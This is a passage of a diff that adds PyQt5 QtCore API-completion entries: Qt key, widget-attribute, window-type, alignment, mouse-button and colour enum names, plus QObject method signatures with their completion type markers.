+QtCore.Qt.Key.Key_Spell?10 +QtCore.Qt.Key.Key_SplitScreen?10 +QtCore.Qt.Key.Key_Support?10 +QtCore.Qt.Key.Key_TaskPane?10 +QtCore.Qt.Key.Key_Terminal?10 +QtCore.Qt.Key.Key_Tools?10 +QtCore.Qt.Key.Key_Travel?10 +QtCore.Qt.Key.Key_Video?10 +QtCore.Qt.Key.Key_Word?10 +QtCore.Qt.Key.Key_Xfer?10 +QtCore.Qt.Key.Key_ZoomIn?10 +QtCore.Qt.Key.Key_ZoomOut?10 +QtCore.Qt.Key.Key_Away?10 +QtCore.Qt.Key.Key_Messenger?10 +QtCore.Qt.Key.Key_WebCam?10 +QtCore.Qt.Key.Key_MailForward?10 +QtCore.Qt.Key.Key_Pictures?10 +QtCore.Qt.Key.Key_Music?10 +QtCore.Qt.Key.Key_Battery?10 +QtCore.Qt.Key.Key_Bluetooth?10 +QtCore.Qt.Key.Key_WLAN?10 +QtCore.Qt.Key.Key_UWB?10 +QtCore.Qt.Key.Key_AudioForward?10 +QtCore.Qt.Key.Key_AudioRepeat?10 +QtCore.Qt.Key.Key_AudioRandomPlay?10 +QtCore.Qt.Key.Key_Subtitle?10 +QtCore.Qt.Key.Key_AudioCycleTrack?10 +QtCore.Qt.Key.Key_Time?10 +QtCore.Qt.Key.Key_Hibernate?10 +QtCore.Qt.Key.Key_View?10 +QtCore.Qt.Key.Key_TopMenu?10 +QtCore.Qt.Key.Key_PowerDown?10 +QtCore.Qt.Key.Key_Suspend?10 +QtCore.Qt.Key.Key_ContrastAdjust?10 +QtCore.Qt.Key.Key_MediaPause?10 +QtCore.Qt.Key.Key_MediaTogglePlayPause?10 +QtCore.Qt.Key.Key_LaunchG?10 +QtCore.Qt.Key.Key_LaunchH?10 +QtCore.Qt.Key.Key_ToggleCallHangup?10 +QtCore.Qt.Key.Key_VoiceDial?10 +QtCore.Qt.Key.Key_LastNumberRedial?10 +QtCore.Qt.Key.Key_Camera?10 +QtCore.Qt.Key.Key_CameraFocus?10 +QtCore.Qt.Key.Key_TouchpadToggle?10 +QtCore.Qt.Key.Key_TouchpadOn?10 +QtCore.Qt.Key.Key_TouchpadOff?10 +QtCore.Qt.Key.Key_MicMute?10 +QtCore.Qt.Key.Key_Red?10 +QtCore.Qt.Key.Key_Green?10 +QtCore.Qt.Key.Key_Yellow?10 +QtCore.Qt.Key.Key_Blue?10 +QtCore.Qt.Key.Key_ChannelUp?10 +QtCore.Qt.Key.Key_ChannelDown?10 +QtCore.Qt.Key.Key_Guide?10 +QtCore.Qt.Key.Key_Info?10 +QtCore.Qt.Key.Key_Settings?10 +QtCore.Qt.Key.Key_Exit?10 +QtCore.Qt.Key.Key_MicVolumeUp?10 +QtCore.Qt.Key.Key_MicVolumeDown?10 +QtCore.Qt.Key.Key_New?10 +QtCore.Qt.Key.Key_Open?10 +QtCore.Qt.Key.Key_Find?10 +QtCore.Qt.Key.Key_Undo?10 +QtCore.Qt.Key.Key_Redo?10 +QtCore.Qt.Key.Key_Dead_Stroke?10 +QtCore.Qt.Key.Key_Dead_Abovecomma?10 +QtCore.Qt.Key.Key_Dead_Abovereversedcomma?10 +QtCore.Qt.Key.Key_Dead_Doublegrave?10 +QtCore.Qt.Key.Key_Dead_Belowring?10 +QtCore.Qt.Key.Key_Dead_Belowmacron?10 +QtCore.Qt.Key.Key_Dead_Belowcircumflex?10 +QtCore.Qt.Key.Key_Dead_Belowtilde?10 +QtCore.Qt.Key.Key_Dead_Belowbreve?10 +QtCore.Qt.Key.Key_Dead_Belowdiaeresis?10 +QtCore.Qt.Key.Key_Dead_Invertedbreve?10 +QtCore.Qt.Key.Key_Dead_Belowcomma?10 +QtCore.Qt.Key.Key_Dead_Currency?10 +QtCore.Qt.Key.Key_Dead_a?10 +QtCore.Qt.Key.Key_Dead_A?10 +QtCore.Qt.Key.Key_Dead_e?10 +QtCore.Qt.Key.Key_Dead_E?10 +QtCore.Qt.Key.Key_Dead_i?10 +QtCore.Qt.Key.Key_Dead_I?10 +QtCore.Qt.Key.Key_Dead_o?10 +QtCore.Qt.Key.Key_Dead_O?10 +QtCore.Qt.Key.Key_Dead_u?10 +QtCore.Qt.Key.Key_Dead_U?10 +QtCore.Qt.Key.Key_Dead_Small_Schwa?10 +QtCore.Qt.Key.Key_Dead_Capital_Schwa?10 +QtCore.Qt.Key.Key_Dead_Greek?10 +QtCore.Qt.Key.Key_Dead_Lowline?10 +QtCore.Qt.Key.Key_Dead_Aboveverticalline?10 +QtCore.Qt.Key.Key_Dead_Belowverticalline?10 +QtCore.Qt.Key.Key_Dead_Longsolidusoverlay?10 +QtCore.Qt.BGMode?10 +QtCore.Qt.BGMode.TransparentMode?10 +QtCore.Qt.BGMode.OpaqueMode?10 +QtCore.Qt.ImageConversionFlag?10 +QtCore.Qt.ImageConversionFlag.AutoColor?10 +QtCore.Qt.ImageConversionFlag.ColorOnly?10 +QtCore.Qt.ImageConversionFlag.MonoOnly?10 +QtCore.Qt.ImageConversionFlag.ThresholdAlphaDither?10 +QtCore.Qt.ImageConversionFlag.OrderedAlphaDither?10 +QtCore.Qt.ImageConversionFlag.DiffuseAlphaDither?10 +QtCore.Qt.ImageConversionFlag.DiffuseDither?10 +QtCore.Qt.ImageConversionFlag.OrderedDither?10 +QtCore.Qt.ImageConversionFlag.ThresholdDither?10 +QtCore.Qt.ImageConversionFlag.AutoDither?10 +QtCore.Qt.ImageConversionFlag.PreferDither?10 +QtCore.Qt.ImageConversionFlag.AvoidDither?10 +QtCore.Qt.ImageConversionFlag.NoOpaqueDetection?10 +QtCore.Qt.ImageConversionFlag.NoFormatConversion?10 +QtCore.Qt.WidgetAttribute?10 +QtCore.Qt.WidgetAttribute.WA_Disabled?10 +QtCore.Qt.WidgetAttribute.WA_UnderMouse?10 +QtCore.Qt.WidgetAttribute.WA_MouseTracking?10 +QtCore.Qt.WidgetAttribute.WA_OpaquePaintEvent?10 +QtCore.Qt.WidgetAttribute.WA_StaticContents?10 +QtCore.Qt.WidgetAttribute.WA_LaidOut?10 +QtCore.Qt.WidgetAttribute.WA_PaintOnScreen?10 +QtCore.Qt.WidgetAttribute.WA_NoSystemBackground?10 +QtCore.Qt.WidgetAttribute.WA_UpdatesDisabled?10 +QtCore.Qt.WidgetAttribute.WA_Mapped?10 +QtCore.Qt.WidgetAttribute.WA_MacNoClickThrough?10 +QtCore.Qt.WidgetAttribute.WA_InputMethodEnabled?10 +QtCore.Qt.WidgetAttribute.WA_WState_Visible?10 +QtCore.Qt.WidgetAttribute.WA_WState_Hidden?10 +QtCore.Qt.WidgetAttribute.WA_ForceDisabled?10 +QtCore.Qt.WidgetAttribute.WA_KeyCompression?10 +QtCore.Qt.WidgetAttribute.WA_PendingMoveEvent?10 +QtCore.Qt.WidgetAttribute.WA_PendingResizeEvent?10 +QtCore.Qt.WidgetAttribute.WA_SetPalette?10 +QtCore.Qt.WidgetAttribute.WA_SetFont?10 +QtCore.Qt.WidgetAttribute.WA_SetCursor?10 +QtCore.Qt.WidgetAttribute.WA_NoChildEventsFromChildren?10 +QtCore.Qt.WidgetAttribute.WA_WindowModified?10 +QtCore.Qt.WidgetAttribute.WA_Resized?10 +QtCore.Qt.WidgetAttribute.WA_Moved?10 +QtCore.Qt.WidgetAttribute.WA_PendingUpdate?10 +QtCore.Qt.WidgetAttribute.WA_InvalidSize?10 +QtCore.Qt.WidgetAttribute.WA_MacMetalStyle?10 +QtCore.Qt.WidgetAttribute.WA_CustomWhatsThis?10 +QtCore.Qt.WidgetAttribute.WA_LayoutOnEntireRect?10 +QtCore.Qt.WidgetAttribute.WA_OutsideWSRange?10 +QtCore.Qt.WidgetAttribute.WA_GrabbedShortcut?10 +QtCore.Qt.WidgetAttribute.WA_TransparentForMouseEvents?10 +QtCore.Qt.WidgetAttribute.WA_PaintUnclipped?10 +QtCore.Qt.WidgetAttribute.WA_SetWindowIcon?10 +QtCore.Qt.WidgetAttribute.WA_NoMouseReplay?10 +QtCore.Qt.WidgetAttribute.WA_DeleteOnClose?10 +QtCore.Qt.WidgetAttribute.WA_RightToLeft?10 +QtCore.Qt.WidgetAttribute.WA_SetLayoutDirection?10 +QtCore.Qt.WidgetAttribute.WA_NoChildEventsForParent?10 +QtCore.Qt.WidgetAttribute.WA_ForceUpdatesDisabled?10 +QtCore.Qt.WidgetAttribute.WA_WState_Created?10 +QtCore.Qt.WidgetAttribute.WA_WState_CompressKeys?10 +QtCore.Qt.WidgetAttribute.WA_WState_InPaintEvent?10 +QtCore.Qt.WidgetAttribute.WA_WState_Reparented?10 +QtCore.Qt.WidgetAttribute.WA_WState_ConfigPending?10 +QtCore.Qt.WidgetAttribute.WA_WState_Polished?10 +QtCore.Qt.WidgetAttribute.WA_WState_OwnSizePolicy?10 +QtCore.Qt.WidgetAttribute.WA_WState_ExplicitShowHide?10 +QtCore.Qt.WidgetAttribute.WA_MouseNoMask?10 +QtCore.Qt.WidgetAttribute.WA_GroupLeader?10 +QtCore.Qt.WidgetAttribute.WA_NoMousePropagation?10 +QtCore.Qt.WidgetAttribute.WA_Hover?10 +QtCore.Qt.WidgetAttribute.WA_InputMethodTransparent?10 +QtCore.Qt.WidgetAttribute.WA_QuitOnClose?10 +QtCore.Qt.WidgetAttribute.WA_KeyboardFocusChange?10 +QtCore.Qt.WidgetAttribute.WA_AcceptDrops?10 +QtCore.Qt.WidgetAttribute.WA_WindowPropagation?10 +QtCore.Qt.WidgetAttribute.WA_NoX11EventCompression?10 +QtCore.Qt.WidgetAttribute.WA_TintedBackground?10 +QtCore.Qt.WidgetAttribute.WA_X11OpenGLOverlay?10 +QtCore.Qt.WidgetAttribute.WA_AttributeCount?10 +QtCore.Qt.WidgetAttribute.WA_AlwaysShowToolTips?10 +QtCore.Qt.WidgetAttribute.WA_MacOpaqueSizeGrip?10 +QtCore.Qt.WidgetAttribute.WA_SetStyle?10 +QtCore.Qt.WidgetAttribute.WA_MacBrushedMetal?10 +QtCore.Qt.WidgetAttribute.WA_SetLocale?10 +QtCore.Qt.WidgetAttribute.WA_MacShowFocusRect?10 +QtCore.Qt.WidgetAttribute.WA_MacNormalSize?10 +QtCore.Qt.WidgetAttribute.WA_MacSmallSize?10 +QtCore.Qt.WidgetAttribute.WA_MacMiniSize?10 +QtCore.Qt.WidgetAttribute.WA_LayoutUsesWidgetRect?10 +QtCore.Qt.WidgetAttribute.WA_StyledBackground?10 +QtCore.Qt.WidgetAttribute.WA_MSWindowsUseDirect3D?10 +QtCore.Qt.WidgetAttribute.WA_MacAlwaysShowToolWindow?10 +QtCore.Qt.WidgetAttribute.WA_StyleSheet?10 +QtCore.Qt.WidgetAttribute.WA_ShowWithoutActivating?10 +QtCore.Qt.WidgetAttribute.WA_NativeWindow?10 +QtCore.Qt.WidgetAttribute.WA_DontCreateNativeAncestors?10 +QtCore.Qt.WidgetAttribute.WA_MacVariableSize?10 +QtCore.Qt.WidgetAttribute.WA_DontShowOnScreen?10 +QtCore.Qt.WidgetAttribute.WA_X11NetWmWindowTypeDesktop?10 +QtCore.Qt.WidgetAttribute.WA_X11NetWmWindowTypeDock?10 +QtCore.Qt.WidgetAttribute.WA_X11NetWmWindowTypeToolBar?10 +QtCore.Qt.WidgetAttribute.WA_X11NetWmWindowTypeMenu?10 +QtCore.Qt.WidgetAttribute.WA_X11NetWmWindowTypeUtility?10 +QtCore.Qt.WidgetAttribute.WA_X11NetWmWindowTypeSplash?10 +QtCore.Qt.WidgetAttribute.WA_X11NetWmWindowTypeDialog?10 +QtCore.Qt.WidgetAttribute.WA_X11NetWmWindowTypeDropDownMenu?10 +QtCore.Qt.WidgetAttribute.WA_X11NetWmWindowTypePopupMenu?10 +QtCore.Qt.WidgetAttribute.WA_X11NetWmWindowTypeToolTip?10 +QtCore.Qt.WidgetAttribute.WA_X11NetWmWindowTypeNotification?10 +QtCore.Qt.WidgetAttribute.WA_X11NetWmWindowTypeCombo?10 +QtCore.Qt.WidgetAttribute.WA_X11NetWmWindowTypeDND?10 +QtCore.Qt.WidgetAttribute.WA_MacFrameworkScaled?10 +QtCore.Qt.WidgetAttribute.WA_TranslucentBackground?10 +QtCore.Qt.WidgetAttribute.WA_AcceptTouchEvents?10 +QtCore.Qt.WidgetAttribute.WA_TouchPadAcceptSingleTouchEvents?10 +QtCore.Qt.WidgetAttribute.WA_X11DoNotAcceptFocus?10 +QtCore.Qt.WidgetAttribute.WA_MacNoShadow?10 +QtCore.Qt.WidgetAttribute.WA_AlwaysStackOnTop?10 +QtCore.Qt.WidgetAttribute.WA_TabletTracking?10 +QtCore.Qt.WidgetAttribute.WA_ContentsMarginsRespectsSafeArea?10 +QtCore.Qt.WidgetAttribute.WA_StyleSheetTarget?10 +QtCore.Qt.WindowState?10 +QtCore.Qt.WindowState.WindowNoState?10 +QtCore.Qt.WindowState.WindowMinimized?10 +QtCore.Qt.WindowState.WindowMaximized?10 +QtCore.Qt.WindowState.WindowFullScreen?10 +QtCore.Qt.WindowState.WindowActive?10 +QtCore.Qt.WindowType?10 +QtCore.Qt.WindowType.Widget?10 +QtCore.Qt.WindowType.Window?10 +QtCore.Qt.WindowType.Dialog?10 +QtCore.Qt.WindowType.Sheet?10 +QtCore.Qt.WindowType.Drawer?10 +QtCore.Qt.WindowType.Popup?10 +QtCore.Qt.WindowType.Tool?10 +QtCore.Qt.WindowType.ToolTip?10 +QtCore.Qt.WindowType.SplashScreen?10 +QtCore.Qt.WindowType.Desktop?10 +QtCore.Qt.WindowType.SubWindow?10 +QtCore.Qt.WindowType.WindowType_Mask?10 +QtCore.Qt.WindowType.MSWindowsFixedSizeDialogHint?10 +QtCore.Qt.WindowType.MSWindowsOwnDC?10 +QtCore.Qt.WindowType.X11BypassWindowManagerHint?10 +QtCore.Qt.WindowType.FramelessWindowHint?10 +QtCore.Qt.WindowType.CustomizeWindowHint?10 +QtCore.Qt.WindowType.WindowTitleHint?10 +QtCore.Qt.WindowType.WindowSystemMenuHint?10 +QtCore.Qt.WindowType.WindowMinimizeButtonHint?10 +QtCore.Qt.WindowType.WindowMaximizeButtonHint?10 +QtCore.Qt.WindowType.WindowMinMaxButtonsHint?10 +QtCore.Qt.WindowType.WindowContextHelpButtonHint?10 +QtCore.Qt.WindowType.WindowShadeButtonHint?10 +QtCore.Qt.WindowType.WindowStaysOnTopHint?10 +QtCore.Qt.WindowType.WindowStaysOnBottomHint?10 +QtCore.Qt.WindowType.WindowCloseButtonHint?10 +QtCore.Qt.WindowType.MacWindowToolBarButtonHint?10 +QtCore.Qt.WindowType.BypassGraphicsProxyWidget?10 +QtCore.Qt.WindowType.WindowTransparentForInput?10 +QtCore.Qt.WindowType.WindowOverridesSystemGestures?10 +QtCore.Qt.WindowType.WindowDoesNotAcceptFocus?10 +QtCore.Qt.WindowType.NoDropShadowWindowHint?10 +QtCore.Qt.WindowType.WindowFullscreenButtonHint?10 +QtCore.Qt.WindowType.ForeignWindow?10 +QtCore.Qt.WindowType.BypassWindowManagerHint?10 +QtCore.Qt.WindowType.CoverWindow?10 +QtCore.Qt.WindowType.MaximizeUsingFullscreenGeometryHint?10 +QtCore.Qt.TextElideMode?10 +QtCore.Qt.TextElideMode.ElideLeft?10 +QtCore.Qt.TextElideMode.ElideRight?10 +QtCore.Qt.TextElideMode.ElideMiddle?10 +QtCore.Qt.TextElideMode.ElideNone?10 +QtCore.Qt.TextFlag?10 +QtCore.Qt.TextFlag.TextSingleLine?10 +QtCore.Qt.TextFlag.TextDontClip?10 +QtCore.Qt.TextFlag.TextExpandTabs?10 +QtCore.Qt.TextFlag.TextShowMnemonic?10 +QtCore.Qt.TextFlag.TextWordWrap?10 +QtCore.Qt.TextFlag.TextWrapAnywhere?10 +QtCore.Qt.TextFlag.TextDontPrint?10 +QtCore.Qt.TextFlag.TextIncludeTrailingSpaces?10 +QtCore.Qt.TextFlag.TextHideMnemonic?10 +QtCore.Qt.TextFlag.TextJustificationForced?10 +QtCore.Qt.AlignmentFlag?10 +QtCore.Qt.AlignmentFlag.AlignLeft?10 +QtCore.Qt.AlignmentFlag.AlignLeading?10 +QtCore.Qt.AlignmentFlag.AlignRight?10 +QtCore.Qt.AlignmentFlag.AlignTrailing?10 +QtCore.Qt.AlignmentFlag.AlignHCenter?10 +QtCore.Qt.AlignmentFlag.AlignJustify?10 +QtCore.Qt.AlignmentFlag.AlignAbsolute?10 +QtCore.Qt.AlignmentFlag.AlignHorizontal_Mask?10 +QtCore.Qt.AlignmentFlag.AlignTop?10 +QtCore.Qt.AlignmentFlag.AlignBottom?10 +QtCore.Qt.AlignmentFlag.AlignVCenter?10 +QtCore.Qt.AlignmentFlag.AlignVertical_Mask?10 +QtCore.Qt.AlignmentFlag.AlignCenter?10 +QtCore.Qt.AlignmentFlag.AlignBaseline?10 +QtCore.Qt.SortOrder?10 +QtCore.Qt.SortOrder.AscendingOrder?10 +QtCore.Qt.SortOrder.DescendingOrder?10 +QtCore.Qt.FocusPolicy?10 +QtCore.Qt.FocusPolicy.NoFocus?10 +QtCore.Qt.FocusPolicy.TabFocus?10 +QtCore.Qt.FocusPolicy.ClickFocus?10 +QtCore.Qt.FocusPolicy.StrongFocus?10 +QtCore.Qt.FocusPolicy.WheelFocus?10 +QtCore.Qt.Orientation?10 +QtCore.Qt.Orientation.Horizontal?10 +QtCore.Qt.Orientation.Vertical?10 +QtCore.Qt.MouseButton?10 +QtCore.Qt.MouseButton.NoButton?10 +QtCore.Qt.MouseButton.AllButtons?10 +QtCore.Qt.MouseButton.LeftButton?10 +QtCore.Qt.MouseButton.RightButton?10 +QtCore.Qt.MouseButton.MidButton?10 +QtCore.Qt.MouseButton.MiddleButton?10 +QtCore.Qt.MouseButton.XButton1?10 +QtCore.Qt.MouseButton.XButton2?10 +QtCore.Qt.MouseButton.BackButton?10 +QtCore.Qt.MouseButton.ExtraButton1?10 +QtCore.Qt.MouseButton.ForwardButton?10 +QtCore.Qt.MouseButton.ExtraButton2?10 +QtCore.Qt.MouseButton.TaskButton?10 +QtCore.Qt.MouseButton.ExtraButton3?10 +QtCore.Qt.MouseButton.ExtraButton4?10 +QtCore.Qt.MouseButton.ExtraButton5?10 +QtCore.Qt.MouseButton.ExtraButton6?10 +QtCore.Qt.MouseButton.ExtraButton7?10 +QtCore.Qt.MouseButton.ExtraButton8?10 +QtCore.Qt.MouseButton.ExtraButton9?10 +QtCore.Qt.MouseButton.ExtraButton10?10 +QtCore.Qt.MouseButton.ExtraButton11?10 +QtCore.Qt.MouseButton.ExtraButton12?10 +QtCore.Qt.MouseButton.ExtraButton13?10 +QtCore.Qt.MouseButton.ExtraButton14?10 +QtCore.Qt.MouseButton.ExtraButton15?10 +QtCore.Qt.MouseButton.ExtraButton16?10 +QtCore.Qt.MouseButton.ExtraButton17?10 +QtCore.Qt.MouseButton.ExtraButton18?10 +QtCore.Qt.MouseButton.ExtraButton19?10 +QtCore.Qt.MouseButton.ExtraButton20?10 +QtCore.Qt.MouseButton.ExtraButton21?10 +QtCore.Qt.MouseButton.ExtraButton22?10 +QtCore.Qt.MouseButton.ExtraButton23?10 +QtCore.Qt.MouseButton.ExtraButton24?10 +QtCore.Qt.Modifier?10 +QtCore.Qt.Modifier.META?10 +QtCore.Qt.Modifier.SHIFT?10 +QtCore.Qt.Modifier.CTRL?10 +QtCore.Qt.Modifier.ALT?10 +QtCore.Qt.Modifier.MODIFIER_MASK?10 +QtCore.Qt.Modifier.UNICODE_ACCEL?10 +QtCore.Qt.KeyboardModifier?10 +QtCore.Qt.KeyboardModifier.NoModifier?10 +QtCore.Qt.KeyboardModifier.ShiftModifier?10 +QtCore.Qt.KeyboardModifier.ControlModifier?10 +QtCore.Qt.KeyboardModifier.AltModifier?10 +QtCore.Qt.KeyboardModifier.MetaModifier?10 +QtCore.Qt.KeyboardModifier.KeypadModifier?10 +QtCore.Qt.KeyboardModifier.GroupSwitchModifier?10 +QtCore.Qt.KeyboardModifier.KeyboardModifierMask?10 +QtCore.Qt.GlobalColor?10 +QtCore.Qt.GlobalColor.color0?10 +QtCore.Qt.GlobalColor.color1?10 +QtCore.Qt.GlobalColor.black?10 +QtCore.Qt.GlobalColor.white?10 +QtCore.Qt.GlobalColor.darkGray?10 +QtCore.Qt.GlobalColor.gray?10 +QtCore.Qt.GlobalColor.lightGray?10 +QtCore.Qt.GlobalColor.red?10 +QtCore.Qt.GlobalColor.green?10 +QtCore.Qt.GlobalColor.blue?10 +QtCore.Qt.GlobalColor.cyan?10 +QtCore.Qt.GlobalColor.magenta?10 +QtCore.Qt.GlobalColor.yellow?10 +QtCore.Qt.GlobalColor.darkRed?10 +QtCore.Qt.GlobalColor.darkGreen?10 +QtCore.Qt.GlobalColor.darkBlue?10 +QtCore.Qt.GlobalColor.darkCyan?10 +QtCore.Qt.GlobalColor.darkMagenta?10 +QtCore.Qt.GlobalColor.darkYellow?10 +QtCore.Qt.GlobalColor.transparent?10 +QtCore.Qt.KeyboardModifiers?1() +QtCore.Qt.KeyboardModifiers.__init__?1(self) +QtCore.Qt.KeyboardModifiers?1(int) +QtCore.Qt.KeyboardModifiers.__init__?1(self, int) +QtCore.Qt.KeyboardModifiers?1(Qt.KeyboardModifiers) +QtCore.Qt.KeyboardModifiers.__init__?1(self, Qt.KeyboardModifiers) +QtCore.Qt.MouseButtons?1() +QtCore.Qt.MouseButtons.__init__?1(self) +QtCore.Qt.MouseButtons?1(int) +QtCore.Qt.MouseButtons.__init__?1(self, int) +QtCore.Qt.MouseButtons?1(Qt.MouseButtons) +QtCore.Qt.MouseButtons.__init__?1(self, Qt.MouseButtons) +QtCore.Qt.Orientations?1() +QtCore.Qt.Orientations.__init__?1(self) +QtCore.Qt.Orientations?1(int) +QtCore.Qt.Orientations.__init__?1(self, int) +QtCore.Qt.Orientations?1(Qt.Orientations) +QtCore.Qt.Orientations.__init__?1(self, Qt.Orientations) +QtCore.Qt.Alignment?1() +QtCore.Qt.Alignment.__init__?1(self) +QtCore.Qt.Alignment?1(int) +QtCore.Qt.Alignment.__init__?1(self, int) +QtCore.Qt.Alignment?1(Qt.Alignment) +QtCore.Qt.Alignment.__init__?1(self, Qt.Alignment) +QtCore.Qt.WindowFlags?1() +QtCore.Qt.WindowFlags.__init__?1(self) +QtCore.Qt.WindowFlags?1(int) +QtCore.Qt.WindowFlags.__init__?1(self, int) +QtCore.Qt.WindowFlags?1(Qt.WindowFlags) +QtCore.Qt.WindowFlags.__init__?1(self, Qt.WindowFlags) +QtCore.Qt.WindowStates?1() +QtCore.Qt.WindowStates.__init__?1(self) +QtCore.Qt.WindowStates?1(int) +QtCore.Qt.WindowStates.__init__?1(self, int) +QtCore.Qt.WindowStates?1(Qt.WindowStates) +QtCore.Qt.WindowStates.__init__?1(self, Qt.WindowStates) +QtCore.Qt.ImageConversionFlags?1() +QtCore.Qt.ImageConversionFlags.__init__?1(self) +QtCore.Qt.ImageConversionFlags?1(int) +QtCore.Qt.ImageConversionFlags.__init__?1(self, int) +QtCore.Qt.ImageConversionFlags?1(Qt.ImageConversionFlags) +QtCore.Qt.ImageConversionFlags.__init__?1(self, Qt.ImageConversionFlags) +QtCore.Qt.DockWidgetAreas?1() +QtCore.Qt.DockWidgetAreas.__init__?1(self) +QtCore.Qt.DockWidgetAreas?1(int) +QtCore.Qt.DockWidgetAreas.__init__?1(self, int) +QtCore.Qt.DockWidgetAreas?1(Qt.DockWidgetAreas) +QtCore.Qt.DockWidgetAreas.__init__?1(self, Qt.DockWidgetAreas) +QtCore.Qt.ToolBarAreas?1() +QtCore.Qt.ToolBarAreas.__init__?1(self) +QtCore.Qt.ToolBarAreas?1(int) +QtCore.Qt.ToolBarAreas.__init__?1(self, int) +QtCore.Qt.ToolBarAreas?1(Qt.ToolBarAreas) +QtCore.Qt.ToolBarAreas.__init__?1(self, Qt.ToolBarAreas) +QtCore.Qt.InputMethodQueries?1() +QtCore.Qt.InputMethodQueries.__init__?1(self) +QtCore.Qt.InputMethodQueries?1(int) +QtCore.Qt.InputMethodQueries.__init__?1(self, int) +QtCore.Qt.InputMethodQueries?1(Qt.InputMethodQueries) +QtCore.Qt.InputMethodQueries.__init__?1(self, Qt.InputMethodQueries) +QtCore.Qt.DropActions?1() +QtCore.Qt.DropActions.__init__?1(self) +QtCore.Qt.DropActions?1(int) +QtCore.Qt.DropActions.__init__?1(self, int) +QtCore.Qt.DropActions?1(Qt.DropActions) +QtCore.Qt.DropActions.__init__?1(self, Qt.DropActions) +QtCore.Qt.ItemFlags?1() +QtCore.Qt.ItemFlags.__init__?1(self) +QtCore.Qt.ItemFlags?1(int) +QtCore.Qt.ItemFlags.__init__?1(self, int) +QtCore.Qt.ItemFlags?1(Qt.ItemFlags) +QtCore.Qt.ItemFlags.__init__?1(self, Qt.ItemFlags) +QtCore.Qt.MatchFlags?1() +QtCore.Qt.MatchFlags.__init__?1(self) +QtCore.Qt.MatchFlags?1(int) +QtCore.Qt.MatchFlags.__init__?1(self, int) +QtCore.Qt.MatchFlags?1(Qt.MatchFlags) +QtCore.Qt.MatchFlags.__init__?1(self, Qt.MatchFlags) +QtCore.Qt.TextInteractionFlags?1() +QtCore.Qt.TextInteractionFlags.__init__?1(self) +QtCore.Qt.TextInteractionFlags?1(int) +QtCore.Qt.TextInteractionFlags.__init__?1(self, int) +QtCore.Qt.TextInteractionFlags?1(Qt.TextInteractionFlags) +QtCore.Qt.TextInteractionFlags.__init__?1(self, Qt.TextInteractionFlags) +QtCore.Qt.InputMethodHints?1() +QtCore.Qt.InputMethodHints.__init__?1(self) +QtCore.Qt.InputMethodHints?1(int) +QtCore.Qt.InputMethodHints.__init__?1(self, int) +QtCore.Qt.InputMethodHints?1(Qt.InputMethodHints) +QtCore.Qt.InputMethodHints.__init__?1(self, Qt.InputMethodHints) +QtCore.Qt.TouchPointStates?1() +QtCore.Qt.TouchPointStates.__init__?1(self) +QtCore.Qt.TouchPointStates?1(int) +QtCore.Qt.TouchPointStates.__init__?1(self, int) +QtCore.Qt.TouchPointStates?1(Qt.TouchPointStates) +QtCore.Qt.TouchPointStates.__init__?1(self, Qt.TouchPointStates) +QtCore.Qt.GestureFlags?1() +QtCore.Qt.GestureFlags.__init__?1(self) +QtCore.Qt.GestureFlags?1(int) +QtCore.Qt.GestureFlags.__init__?1(self, int) +QtCore.Qt.GestureFlags?1(Qt.GestureFlags) +QtCore.Qt.GestureFlags.__init__?1(self, Qt.GestureFlags) +QtCore.Qt.ScreenOrientations?1() +QtCore.Qt.ScreenOrientations.__init__?1(self) +QtCore.Qt.ScreenOrientations?1(int) +QtCore.Qt.ScreenOrientations.__init__?1(self, int) +QtCore.Qt.ScreenOrientations?1(Qt.ScreenOrientations) +QtCore.Qt.ScreenOrientations.__init__?1(self, Qt.ScreenOrientations) +QtCore.Qt.FindChildOptions?1() +QtCore.Qt.FindChildOptions.__init__?1(self) +QtCore.Qt.FindChildOptions?1(int) +QtCore.Qt.FindChildOptions.__init__?1(self, int) +QtCore.Qt.FindChildOptions?1(Qt.FindChildOptions) +QtCore.Qt.FindChildOptions.__init__?1(self, Qt.FindChildOptions) +QtCore.Qt.ApplicationStates?1() +QtCore.Qt.ApplicationStates.__init__?1(self) +QtCore.Qt.ApplicationStates?1(int) +QtCore.Qt.ApplicationStates.__init__?1(self, int) +QtCore.Qt.ApplicationStates?1(Qt.ApplicationStates) +QtCore.Qt.ApplicationStates.__init__?1(self, Qt.ApplicationStates) +QtCore.Qt.Edges?1() +QtCore.Qt.Edges.__init__?1(self) +QtCore.Qt.Edges?1(int) +QtCore.Qt.Edges.__init__?1(self, int) +QtCore.Qt.Edges?1(Qt.Edges) +QtCore.Qt.Edges.__init__?1(self, Qt.Edges) +QtCore.Qt.MouseEventFlags?1() +QtCore.Qt.MouseEventFlags.__init__?1(self) +QtCore.Qt.MouseEventFlags?1(int) +QtCore.Qt.MouseEventFlags.__init__?1(self, int) +QtCore.Qt.MouseEventFlags?1(Qt.MouseEventFlags) +QtCore.Qt.MouseEventFlags.__init__?1(self, Qt.MouseEventFlags) +QtCore.QObject.staticMetaObject?7 +QtCore.QObject?1(QObject parent=None) +QtCore.QObject.__init__?1(self, QObject parent=None) +QtCore.QObject.metaObject?4() -> QMetaObject +QtCore.QObject.pyqtConfigure?4(object) +QtCore.QObject.__getattr__?4(str) -> object +QtCore.QObject.event?4(QEvent) -> bool +QtCore.QObject.eventFilter?4(QObject, QEvent) -> bool +QtCore.QObject.tr?4(str, str disambiguation=None, int n=-1) -> QString +QtCore.QObject.findChild?4(type, QString name='', Qt.FindChildOptions options=Qt.FindChildrenRecursively) -> object +QtCore.QObject.findChild?4(tuple, QString name='', Qt.FindChildOptions options=Qt.FindChildrenRecursively) -> object +QtCore.QObject.findChildren?4(type, QString name='', Qt.FindChildOptions options=Qt.FindChildrenRecursively) -> list +QtCore.QObject.findChildren?4(tuple, QString name='', Qt.FindChildOptions options=Qt.FindChildrenRecursively) -> list +QtCore.QObject.findChildren?4(type, QRegExp, Qt.FindChildOptions options=Qt.FindChildrenRecursively) -> list +QtCore.QObject.findChildren?4(tuple, QRegExp, Qt.FindChildOptions options=Qt.FindChildrenRecursively) -> list +QtCore.QObject.findChildren?4(type, QRegularExpression, Qt.FindChildOptions options=Qt.FindChildrenRecursively) -> list +QtCore.QObject.findChildren?4(tuple, QRegularExpression, Qt.FindChildOptions options=Qt.FindChildrenRecursively) -> list +QtCore.QObject.objectName?4() -> QString +QtCore.QObject.setObjectName?4(QString) +QtCore.QObject.isWidgetType?4() -> bool +QtCore.QObject.isWindowType?4() -> bool +QtCore.QObject.signalsBlocked?4() -> bool +QtCore.QObject.blockSignals?4(bool) -> bool +QtCore.QObject.thread?4() -> QThread +QtCore.QObject.moveToThread?4(QThread) 